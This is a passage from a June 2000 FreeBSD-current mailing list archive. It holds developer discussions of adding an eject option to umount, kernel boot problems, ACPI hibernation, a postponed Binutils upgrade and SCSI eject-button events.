@ hub.org primary: scrappy@hub.org secondary: scrappy@{freebsd|postgresql}.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 18 21: 1: 3 2000 Delivered-To: freebsd-current@freebsd.org Received: from sanson.reyes.somos.net (freyes.static.inch.com [216.223.199.224]) by hub.freebsd.org (Postfix) with ESMTP id CFAE637B6CD; Sun, 18 Jun 2000 21:00:57 -0700 (PDT) (envelope-from fran@reyes.somos.net) Received: from tomasa (tomasa.reyes.somos.net [10.0.0.11]) by sanson.reyes.somos.net (8.9.3/8.9.3) with SMTP id XAA22495; Sun, 18 Jun 2000 23:54:12 -0400 (EDT) (envelope-from fran@reyes.somos.net) Message-Id: <200006190354.XAA22495@sanson.reyes.somos.net> From: "Francisco Reyes" To: "Charles Anderson" , "Marc van Woerkom" Cc: "FreeBSD-arch@FreeBSD.ORG" , "FreeBSD-current@FreeBSD.ORG" , "grog@sydney.worldwide.lemis.com" Date: Sun, 18 Jun 2000 23:54:51 -0400 Reply-To: "Francisco Reyes" X-Mailer: PMMail 2000 Professional (2.10.2010) For Windows 98 (4.10.2222) In-Reply-To: <20000618210652.A917@midgard.dhs.org> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Subject: Re: -e option to umount? Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 18 Jun 2000 21:06:52 +0000, Charles Anderson wrote: >/usr/ports/sysutils/eject > >On Mon, Jun 19, 2000 at 02:09:44AM +0200, Marc van Woerkom wrote: >> > SGIs and SUNs use an 'eject' command for CDs and DAT tapes. Whether as a separate command or as part of umount this is certainly something worth having by default. In particular new users may be a while before they find ports/packages or will just end up in the questions list. Also speaking from my own experience I would have expected something like this to be part of the system and would have never even looked for a port. Francisco To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 18 21:42:23 2000 Delivered-To: freebsd-current@freebsd.org Received: from falla.videotron.net (falla.videotron.net [205.151.222.106]) by hub.freebsd.org (Postfix) with ESMTP id 496C837BB8F for ; Sun, 18 Jun 2000 21:42:19 -0700 (PDT) (envelope-from bmilekic@dsuper.net) Received: from modemcable009.62-201-24.mtl.mc.videotron.net ([24.201.62.9]) by falla.videotron.net (Sun Internet Mail Server sims.3.5.1999.12.14.10.29.p8) with ESMTP id <0FWD00EFBWRWYO@falla.videotron.net> for freebsd-current@FreeBSD.ORG; Mon, 19 Jun 2000 00:35:57 -0400 (EDT) Date: Mon, 19 Jun 2000 00:37:43 -0400 (EDT) From: Bosko Milekic Subject: Re: FOLLOWING config changes? : Kernel profiling support In-reply-to: X-Sender: bmilekic@jehovah.technokratis.com To: The Hermit Hacker Cc: freebsd-current@FreeBSD.ORG Message-id: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Yes, this is what I initially got. Although I'm not quite interested in this particular problem. What I need is profiling to work. Still, what you should look at is adding the `hints' directive to your kernel configuration file, if you haven't done so already. See if that fixes your problem. On Mon, 19 Jun 2000, The Hermit Hacker wrote: > > Ya know, I never thought about checkign /var/log/messages on mine to see > if it was, in fact, booting (I thought it was, it sounded like it was, but > I couldn't think of a way to check) ... > > Using kernel sources up-to-date as of a few hours ago, I've tried to pare > my optimzatins down to a simple '-O -pipe', and I'm getting the same thing > as you, where I effectively get: > > Booting kernel ... > \ > > on my screen, and that's the end of it. Looking at /var/log/messages, it > looks like I am getting a full reboot happening, right down to > initializing 'vmmon', but nothing to my screen. > > I've been trying to follow the -current list to see if any ideas/solutions > pop up, but the only things I've noticed so far have revolved around > optimization issues, but its more then possible that I missed a message > ... > > My last good kernel, that boot'd fine, is: > > @(#)FreeBSD 5.0-CURRENT #0: Wed Jun 14 01:03:00 ADT 2000 > > With every other one since resulting in the above ... > -- Bosko Milekic * Voice/Mobile: 514.865.7738 * Pager: 514.921.0237 bmilekic@technokratis.com * http://www.technokratis.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 18 21:45:20 2000 Delivered-To: freebsd-current@freebsd.org Received: from ns.cvzoom.net (ns.cvzoom.net [208.226.154.2]) by hub.freebsd.org (Postfix) with SMTP id CD64437BB8F for ; Sun, 18 Jun 2000 21:45:16 -0700 (PDT) (envelope-from dmmiller@cvzoom.net) Received: (qmail 8191 invoked from network); 19 Jun 2000 04:45:15 -0000 Received: from lc210.cvzoom.net (HELO cvzoom.net) (208.226.154.210) by ns.cvzoom.net with SMTP; 19 Jun 2000 04:45:15 -0000 Message-ID: <394DA55B.7D884B0C@cvzoom.net> Date: Mon, 19 Jun 2000 00:45:15 -0400 From: Donn Miller X-Mailer: Mozilla 4.73 [en] (X11; I; FreeBSD 5.0-CURRENT i386) X-Accept-Language: en MIME-Version: 1.0 To: Francisco Reyes Cc: Charles Anderson , Marc van Woerkom , "FreeBSD-arch@FreeBSD.ORG" , "FreeBSD-current@FreeBSD.ORG" , "grog@sydney.worldwide.lemis.com" Subject: Re: -e option to umount? References: <200006190354.XAA22495@sanson.reyes.somos.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Francisco Reyes wrote: > Whether as a separate command or as part of umount this is > certainly something worth having by default. > In particular new users may be a while before they find > ports/packages or will just end up in the questions list. Well, you could have both. For example, you could have the -e switch to umount which performs the eject function. In addition, you could have "eject" as a link to umount, and umount itself would check argv[0] to see if it is being executed as eject or umount. If it's eject instead of umount, then perform whatever action the -e flag does. - Donn To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 18 21:47:23 2000 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id D814437BB8F; Sun, 18 Jun 2000 21:47:16 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id WAA32383; Sun, 18 Jun 2000 22:46:58 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id WAA53570; Sun, 18 Jun 2000 22:45:34 -0600 (MDT) Message-Id: <200006190445.WAA53570@harmony.village.org> To: Mitsuru IWASAKI Subject: Re: ACPI project progress report Cc: freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG, acpi-jp@jp.FreeBSD.org In-reply-to: Your message of "Sat, 17 Jun 2000 00:21:56 +0900." <20000617002156A.iwasaki@jp.FreeBSD.org> References: <20000617002156A.iwasaki@jp.FreeBSD.org> Date: Sun, 18 Jun 2000 22:45:34 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <20000617002156A.iwasaki@jp.FreeBSD.org> Mitsuru IWASAKI writes: : Hi, here is the latest report on our ACPI project's progress. As I told you on the Train in Tokyo: Cool! Way Cool! ACPI should enable us to properly put the chipsets in laptops to sleep and then wake them up again. Right now pccard insert/removal can be missed when you put a laptop to sleep... Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 18 22:22:34 2000 Delivered-To: freebsd-current@freebsd.org Received: from relay.nuxi.com (nuxi.cs.ucdavis.edu [169.237.7.38]) by hub.freebsd.org (Postfix) with ESMTP id 4F9DD37BBDB for ; Sun, 18 Jun 2000 22:22:30 -0700 (PDT) (envelope-from obrien@NUXI.com) Received: from dragon.nuxi.com (root@trang.nuxi.com [209.152.133.57]) by relay.nuxi.com (8.9.3/8.9.3) with ESMTP id WAA72999 for ; Sun, 18 Jun 2000 22:22:29 -0700 (PDT) (envelope-from obrien@dragon.nuxi.com) Received: (from obrien@localhost) by dragon.nuxi.com (8.9.3/8.9.1) id WAA04001 for freebsd-current@freebsd.org; Sun, 18 Jun 2000 22:22:28 -0700 (PDT) (envelope-from obrien) Date: Sun, 18 Jun 2000 22:22:28 -0700 From: "David O'Brien" To: freebsd-current@freebsd.org Subject: ** HEADS UP ** upgrade to Binutils 2.10 postponed Message-ID: <20000618222228.A3981@dragon.nuxi.com> Reply-To: obrien@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i X-Operating-System: FreeBSD 5.0-CURRENT Organization: The NUXI BSD group X-PGP-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Keyid: 34F9F9D5 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Due to an issue of being able to tell just what the official Binutils 2.10 source is, I've put off the upgrade. Hopefully I can do it tomorrow. -- -- David (obrien@FreeBSD.org) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 18 22:45:12 2000 Delivered-To: freebsd-current@freebsd.org Received: from thelab.hub.org (nat204.200.mpoweredpc.net [142.177.204.200]) by hub.freebsd.org (Postfix) with ESMTP id EF88437B6D1 for ; Sun, 18 Jun 2000 22:45:08 -0700 (PDT) (envelope-from scrappy@hub.org) Received: from localhost (scrappy@localhost) by thelab.hub.org (8.9.3/8.9.3) with ESMTP id CAA01553; Mon, 19 Jun 2000 02:43:49 -0300 (ADT) (envelope-from scrappy@hub.org) X-Authentication-Warning: thelab.hub.org: scrappy owned process doing -bs Date: Mon, 19 Jun 2000 02:43:49 -0300 (ADT) From: The Hermit Hacker To: Bosko Milekic Cc: freebsd-current@FreeBSD.ORG Subject: Re: FOLLOWING config changes? : Kernel profiling support In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG that did her, thanks ... should this maybe be mentioned in /usr/src/UPDATING? I've gotten into the habit of pretty much checking there first, and saw no mention of this (could be blind too, its happened before) ... On Mon, 19 Jun 2000, Bosko Milekic wrote: > > Yes, this is what I initially got. Although I'm not quite interested in > this particular problem. What I need is profiling to work. > > Still, what you should look at is adding the `hints' directive to your > kernel configuration file, if you haven't done so already. See if that > fixes your problem. > > On Mon, 19 Jun 2000, The Hermit Hacker wrote: > > > > > Ya know, I never thought about checkign /var/log/messages on mine to see > > if it was, in fact, booting (I thought it was, it sounded like it was, but > > I couldn't think of a way to check) ... > > > > Using kernel sources up-to-date as of a few hours ago, I've tried to pare > > my optimzatins down to a simple '-O -pipe', and I'm getting the same thing > > as you, where I effectively get: > > > > Booting kernel ... > > \ > > > > on my screen, and that's the end of it. Looking at /var/log/messages, it > > looks like I am getting a full reboot happening, right down to > > initializing 'vmmon', but nothing to my screen. > > > > I've been trying to follow the -current list to see if any ideas/solutions > > pop up, but the only things I've noticed so far have revolved around > > optimization issues, but its more then possible that I missed a message > > ... > > > > My last good kernel, that boot'd fine, is: > > > > @(#)FreeBSD 5.0-CURRENT #0: Wed Jun 14 01:03:00 ADT 2000 > > > > With every other one since resulting in the above ... > > > > > -- > Bosko Milekic * Voice/Mobile: 514.865.7738 * Pager: 514.921.0237 > bmilekic@technokratis.com * http://www.technokratis.com/ > > Marc G. Fournier ICQ#7615664 IRC Nick: Scrappy Systems Administrator @ hub.org primary: scrappy@hub.org secondary: scrappy@{freebsd|postgresql}.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 18 23:21:44 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.uni-bielefeld.de (mail2.uni-bielefeld.de [129.70.4.90]) by hub.freebsd.org (Postfix) with ESMTP id D764237BC10; Sun, 18 Jun 2000 23:21:38 -0700 (PDT) (envelope-from bfischer@Techfak.uni-bielefeld.de) Received: from frolic.no-support.loc (ppp36-169.hrz.uni-bielefeld.de [129.70.36.169]) by mail.uni-bielefeld.de (Sun Internet Mail Server sims.4.0.2000.05.17.04.13.p6) with ESMTP id <0FWE009EU1NWLU@mail.uni-bielefeld.de>; Mon, 19 Jun 2000 08:21:37 +0200 (MET DST) Received: from broccoli.no-support.loc (broccoli.no-support.loc [192.168.43.99]) by frolic.no-support.loc (8.9.3/8.9.3) with ESMTP id HAA00746; Mon, 19 Jun 2000 07:01:45 +0200 (CEST envelope-from bjoern@no-support.loc) Received: (from bjoern@localhost) by broccoli.no-support.loc (8.9.3/8.9.3) id HAA00647; Mon, 19 Jun 2000 07:01:44 +0200 (CEST envelope-from bjoern@no-support.loc) Date: Mon, 19 Jun 2000 07:01:44 +0200 From: Bjoern Fischer Subject: Re: ACPI project progress report In-reply-to: <20000617135611E.iwasaki@jp.FreeBSD.org>; from iwasaki@jp.freebsd.org on Sat, Jun 17, 2000 at 01:56:11PM +0900 To: Mitsuru IWASAKI Cc: acpi-jp@jp.freebsd.org, dcs@newsguy.com, freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Message-id: <20000619070144.B554@broccoli.no-support.loc> MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-disposition: inline Content-transfer-encoding: quoted-printable User-Agent: Mutt/1.2i References: <20000617002156A.iwasaki@jp.FreeBSD.org> <394AAE60.B6F0EE2A@newsguy.com> <394AB05C.569DD4DD@newsguy.com> <20000617135611E.iwasaki@jp.FreeBSD.org> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, Jun 17, 2000 at 01:56:11PM +0900, Mitsuru IWASAKI wrote: > I think OS-initiated S4 (hibernation) in FreeBSD has enough advantages > because we can do `Save-to-Disk' anywhere even on non-laptop machines > which BIOS doesn't support hibernation. > FreeBSD supports crash dump facility here, so I'm expecting that > `Save-to-Disk' by kernel would not be so difficult. We might need > dedicated swap partition for OS-initiated S4 because used swap areas > need to be protected for the system oprerations after awakening. > The boot loader is the best place for restoring the system context in > FreeBSD I think. Just a moment. You talk about doing a `Save-to-Disk' (incl. system halt), turning power off, maybe adding some hardware or moving the machine to another location, then switching on again, restoring the system context, and the machine will proceed as if nothing had happened, do you? Bj=F6rn --=20 -----BEGIN GEEK CODE BLOCK----- GCS d--(+) s++: a- C+++(-) UB++++OSI++++$ P+++(-) L---(++) !E W- N+ o>+ K- !w !O !M !V PS++ PE- PGP++ t+++ !5 X++ tv- b+++ D++ G e+ h-- y+=20 ------END GEEK CODE BLOCK------ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 18 23:37: 1 2000 Delivered-To: freebsd-current@freebsd.org Received: from isbalham.ist.co.uk (isbalham.ist.co.uk [192.31.26.1]) by hub.freebsd.org (Postfix) with ESMTP id C547A37BC0C; Sun, 18 Jun 2000 23:36:55 -0700 (PDT) (envelope-from rb@gid.co.uk) Received: (from uucp@localhost) by isbalham.ist.co.uk (8.9.2/8.8.7) with UUCP id HAA76985; Mon, 19 Jun 2000 07:35:38 +0100 (BST) (envelope-from rb@gid.co.uk) Received: from [194.32.164.2] (eccles [194.32.164.2]) by seagoon.gid.co.uk (8.9.3/8.9.3) with ESMTP id HAA20316; Mon, 19 Jun 2000 07:16:18 +0100 (BST) (envelope-from rb@gid.co.uk) X-Sender: rb@194.32.164.1 Message-Id: In-Reply-To: <20000618160223.A2482@sydney.worldwide.lemis.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Mon, 19 Jun 2000 07:16:18 +0100 To: Greg Lehey From: Bob Bishop Subject: Re: -e option to umount? Cc: FreeBSD current users , FreeBSD-arch@FreeBSD.ORG Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 16:02 -0700 18/6/00, Greg Lehey wrote: >What do people think about adding a -e option to umount(8) to eject a >removable medium where possible? What's special about mounted devices? I'd prefer to see an eject command which attempts to unmount the device if it's mounted. -- Bob Bishop (0118) 977 4017 international code +44 118 rb@gid.co.uk fax (0118) 989 4254 between 0800 and 1800 UK To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 18 23:49:41 2000 Delivered-To: freebsd-current@freebsd.org Received: from wint.itfs.nsk.su (wint.itfs.nsk.su [212.20.32.43]) by hub.freebsd.org (Postfix) with ESMTP id 4622837BB5B; Sun, 18 Jun 2000 23:49:36 -0700 (PDT) (envelope-from nnd@wint.itfs.nsk.su) Received: (from nnd@localhost) by wint.itfs.nsk.su (8.9.3/8.9.3) id NAA53254; Mon, 19 Jun 2000 13:49:34 +0700 (NOVST) (envelope-from nnd) Date: Mon, 19 Jun 2000 13:49:34 +0700 (NOVST) Message-Id: <200006190649.NAA53254@wint.itfs.nsk.su> From: Nickolay Dudorov To: current@FreeBSD.ORG Cc: cvs-all@FreeBSD.ORG Subject: Re: cvs commit: src/usr.sbin/ancontrol ancontrol.c In-Reply-To: <200006182310.QAA62863@freefall.freebsd.org> User-Agent: tin/1.4.3-20000502 ("Marian") (UNIX) (FreeBSD/5.0-CURRENT (i386)) Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In <200006182310.QAA62863@freefall.freebsd.org> Ollivier Robert wrote: > roberto 2000/06/18 16:10:20 PDT > > Modified files: > usr.sbin/ancontrol ancontrol.c > Log: > Fix potential buffer overflows (even if ancontrol is not setuid). > > Submitted by: Aaron Campbell from OpenBSD > > Revision Changes Path > 1.2 +12 -15 src/usr.sbin/ancontrol/ancontrol.c The first line of the resulting file (with the $OpenBSD: tag) close the comment and makes this file uncompilable. N.Dudorov To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 18 23:54:54 2000 Delivered-To: freebsd-current@freebsd.org Received: from turtle.looksharp.net (cc360882-a.strhg1.mi.home.com [24.2.221.22]) by hub.freebsd.org (Postfix) with ESMTP id 27A8D37BC0C for ; Sun, 18 Jun 2000 23:54:50 -0700 (PDT) (envelope-from bandix@looksharp.net) Received: from localhost (bandix@localhost) by turtle.looksharp.net (8.9.3/8.9.3) with ESMTP id CAA01304; Mon, 19 Jun 2000 02:53:45 -0400 (EDT) (envelope-from bandix@looksharp.net) Date: Mon, 19 Jun 2000 02:53:45 -0400 (EDT) From: "Brandon D. Valentine" To: Bob Bishop Cc: Greg Lehey , FreeBSD current users Subject: Re: -e option to umount? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 19 Jun 2000, Bob Bishop wrote: >What's special about mounted devices? I'd prefer to see an eject command >which attempts to unmount the device if it's mounted. What'd be really spiffy is if when I hit the eject button on my CDROM drive that whatever scsi signal that event generates, was intercepted by the kernel and, provided the filesystem met the normal criteria for being umount'd(i.e. nothing accessing it), it would be umount'd and then ejected. I know nothing about what happens when I hit the eject button on a CDROM drive. Anyone care to speculate on if that's a reasonable thing to implement? Brandon D. Valentine -- bandix at looksharp.net | bandix at structbio.vanderbilt.edu "Truth suffers from too much analysis." -- Ancient Fremen Saying To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 0: 4:40 2000 Delivered-To: freebsd-current@freebsd.org Received: from midget.dons.net.au (daniel.lnk.telstra.net [139.130.137.70]) by hub.freebsd.org (Postfix) with ESMTP id 8912137BC0C for ; Mon, 19 Jun 2000 00:04:33 -0700 (PDT) (envelope-from darius@guppy.dons.net.au) Received: from guppy.dons.net.au (guppy.dons.net.au [203.31.81.9]) by midget.dons.net.au (8.9.3/8.9.1) with ESMTP id QAA80109; Mon, 19 Jun 2000 16:32:35 +0930 (CST) (envelope-from darius@guppy.dons.net.au) Received: (from darius@localhost) by guppy.dons.net.au (8.9.3/8.9.3) id QAA00773; Mon, 19 Jun 2000 16:31:32 +0930 (CST) (envelope-from darius) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Mon, 19 Jun 2000 16:31:31 +0930 (CST) From: "Daniel O'Connor" To: "Brandon D. Valentine" Subject: Re: -e option to umount? Cc: FreeBSD current users , Greg Lehey , Bob Bishop Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 19-Jun-00 Brandon D. Valentine wrote: > On Mon, 19 Jun 2000, Bob Bishop wrote: > ejected. I know nothing about what happens when I hit the eject button > on a CDROM drive. Anyone care to speculate on if that's a reasonable > thing to implement? I think this sort of stuff should be handled by an event daemon.. It could handle stuff like a user hitting the eject button, someone pressing a magic key on the keyboard, and apm events etc.. then do something about it. --- Daniel O'Connor software and network engineer for Genesis Software - http://www.gsoft.com.au "The nice thing about standards is that there are so many of them to choose from." -- Andrew Tanenbaum To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 0:15:34 2000 Delivered-To: freebsd-current@freebsd.org Received: from panzer.kdm.org (panzer.kdm.org [216.160.178.169]) by hub.freebsd.org (Postfix) with ESMTP id 47CBD37BBFE for ; Mon, 19 Jun 2000 00:15:31 -0700 (PDT) (envelope-from ken@panzer.kdm.org) Received: (from ken@localhost) by panzer.kdm.org (8.9.3/8.9.1) id BAA74970; Mon, 19 Jun 2000 01:13:59 -0600 (MDT) (envelope-from ken) Date: Mon, 19 Jun 2000 01:13:59 -0600 From: "Kenneth D. Merry" To: "Brandon D. Valentine" Cc: Bob Bishop , Greg Lehey , FreeBSD current users Subject: Re: -e option to umount? Message-ID: <20000619011359.A74922@panzer.kdm.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: ; from bandix@looksharp.net on Mon, Jun 19, 2000 at 02:53:45AM -0400 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, Jun 19, 2000 at 02:53:45 -0400, Brandon D. Valentine wrote: > On Mon, 19 Jun 2000, Bob Bishop wrote: > > >What's special about mounted devices? I'd prefer to see an eject command > >which attempts to unmount the device if it's mounted. > > What'd be really spiffy is if when I hit the eject button on my CDROM > drive that whatever scsi signal that event generates, was intercepted by > the kernel and, provided the filesystem met the normal criteria for > being umount'd(i.e. nothing accessing it), it would be umount'd and then > ejected. I know nothing about what happens when I hit the eject button > on a CDROM drive. Anyone care to speculate on if that's a reasonable > thing to implement? That's a cool idea, but unfortunately, it won't work with any hardware I know of. In order for that to work, the CDROM drive would have to generate an AEN (Asynchronous Event Notification) and send it to the controller, which would have to be capable of functioning as a target as well as an initiator. Then the controller would have to pass that back up to some process that would then unmount the drive, which would also give the cd(4) driver its final close and allow removal of the media. Then the eject could proceed. The problem is that I haven't yet seen a SCSI device (well, short of a FreeBSD box) that is capable of doing AENs, since most SCSI devices can't be both target and initiator. They're generally just targets. Likewise, most controllers only function as initiators. The Adaptec and Qlogic controllers are exceptions in FreeBSD. The Symbios/LSI controllers could probably do target mode as well, given the right firmware and driver support. Ken -- Kenneth Merry ken@kdm.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 0:17:45 2000 Delivered-To: freebsd-current@freebsd.org Received: from gilgamesch.bik-gmbh.de (T1-Hansenet.BIK-GmbH.de [192.76.134.246]) by hub.freebsd.org (Postfix) with ESMTP id CBC9F37BBFE; Mon, 19 Jun 2000 00:17:37 -0700 (PDT) (envelope-from cracauer@gilgamesch.bik-gmbh.de) Received: (from cracauer@localhost) by gilgamesch.bik-gmbh.de (8.9.3/8.7.3) id JAA75831; Mon, 19 Jun 2000 09:17:30 +0200 (MET DST) Date: Mon, 19 Jun 2000 09:17:30 +0200 From: Martin Cracauer To: Luoqi Chen Cc: cracauer@cons.org, current@FreeBSD.ORG, dcs@newsguy.com, emulation@FreeBSD.ORG, msmith@FreeBSD.ORG Subject: Re: VMware detection code in boot loader Message-ID: <20000619091730.A75581@cons.org> References: <200006190356.e5J3uC502403@lor.watermarkgroup.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <200006190356.e5J3uC502403@lor.watermarkgroup.com>; from luoqi@watermarkgroup.com on Sun, Jun 18, 2000 at 11:56:12PM -0400 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In <200006190356.e5J3uC502403@lor.watermarkgroup.com>, Luoqi Chen wrote: > > In <200006131540.e5DFekh04320@lor.watermarkgroup.com>, Luoqi Chen wrote: > > > It is not the loader's job to detect the underlying > > > hardware configuration. > > > > I disagree. I would like to tell which machine I am booting on to > > choose an appropriate kernel. > > > Eventually (it may take a while) we should be able to boot any i386/AT > based machine with a single kernel which dynamically loads drivers for > available hardware (and different locking modules for UP and SMP for that > matter). I have such a kernel for all my machines except SMP. However, I still boot different UP kernels on each machines for testing purposes: - different 'cpu I..._CPU' settings - different floating emulators - much or few RAM I don't want to detect all hardware, what I need is one way to tell each machine from each other, like a hostid. The ethernet address of the first card could be. Martin -- %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Martin Cracauer http://www.cons.org/cracauer/ BSD User Group Hamburg, Germany http://www.bsdhh.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 0:22:52 2000 Delivered-To: freebsd-current@freebsd.org Received: from mass.osd.bsdi.com (adsl-63-206-88-224.dsl.snfc21.pacbell.net [63.206.88.224]) by hub.freebsd.org (Postfix) with ESMTP id 6AC2937BC80 for ; Mon, 19 Jun 2000 00:22:49 -0700 (PDT) (envelope-from msmith@mass.osd.bsdi.com) Received: from mass.osd.bsdi.com (localhost [127.0.0.1]) by mass.osd.bsdi.com (8.9.3/8.9.3) with ESMTP id AAA06918; Mon, 19 Jun 2000 00:27:35 -0700 (PDT) (envelope-from msmith@mass.osd.bsdi.com) Message-Id: <200006190727.AAA06918@mass.osd.bsdi.com> X-Mailer: exmh version 2.1.1 10/15/1999 To: "Kenneth D. Merry" Cc: FreeBSD current users Subject: Re: -e option to umount? In-reply-to: Your message of "Mon, 19 Jun 2000 01:13:59 MDT." <20000619011359.A74922@panzer.kdm.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 19 Jun 2000 00:27:35 -0700 From: Mike Smith Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > That's a cool idea, but unfortunately, it won't work with any hardware I > know of. > > In order for that to work, the CDROM drive would have to generate an AEN > (Asynchronous Event Notification) and send it to the controller, which > would have to be capable of functioning as a target as well as an > initiator. Hmm. If SCSI drives are anything like ATAPI drives (and here I confess I haven't checked), the first I/O after the eject button is pressed will come back with a marker (eg. check condition) with sense information that indicates that a user eject was requested. > Then the controller would have to pass that back up to some process that > would then unmount the drive, which would also give the cd(4) driver its > final close and allow removal of the media. That's pretty much a given part of the media daemon implementation, and really not all that hard. -- \\ Give a man a fish, and you feed him for a day. \\ Mike Smith \\ Tell him he should learn how to fish himself, \\ msmith@freebsd.org \\ and he'll hate you for a lifetime. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 0:28:32 2000 Delivered-To: freebsd-current@freebsd.org Received: from panzer.kdm.org (panzer.kdm.org [216.160.178.169]) by hub.freebsd.org (Postfix) with ESMTP id A843137B82D; Mon, 19 Jun 2000 00:28:27 -0700 (PDT) (envelope-from ken@panzer.kdm.org) Received: (from ken@localhost) by panzer.kdm.org (8.9.3/8.9.1) id BAA75105; Mon, 19 Jun 2000 01:28:27 -0600 (MDT) (envelope-from ken) Date: Mon, 19 Jun 2000 01:28:27 -0600 From: "Kenneth D. Merry" To: Mike Smith Cc: FreeBSD current users Subject: Re: -e option to umount? Message-ID: <20000619012827.A75072@panzer.kdm.org> References: <20000619011359.A74922@panzer.kdm.org> <200006190727.AAA06918@mass.osd.bsdi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <200006190727.AAA06918@mass.osd.bsdi.com>; from msmith@FreeBSD.ORG on Mon, Jun 19, 2000 at 12:27:35AM -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, Jun 19, 2000 at 00:27:35 -0700, Mike Smith wrote: > > That's a cool idea, but unfortunately, it won't work with any hardware I > > know of. > > > > In order for that to work, the CDROM drive would have to generate an AEN > > (Asynchronous Event Notification) and send it to the controller, which > > would have to be capable of functioning as a target as well as an > > initiator. > > Hmm. If SCSI drives are anything like ATAPI drives (and here I confess I > haven't checked), the first I/O after the eject button is pressed will > come back with a marker (eg. check condition) with sense information that > indicates that a user eject was requested. Some may, but the Panasonic DVD drive I just tried here didn't pass back any sort of error in response to the TUR I sent it after pressing the eject button. In any case, if an error were returned, the only way you could get that to work would be 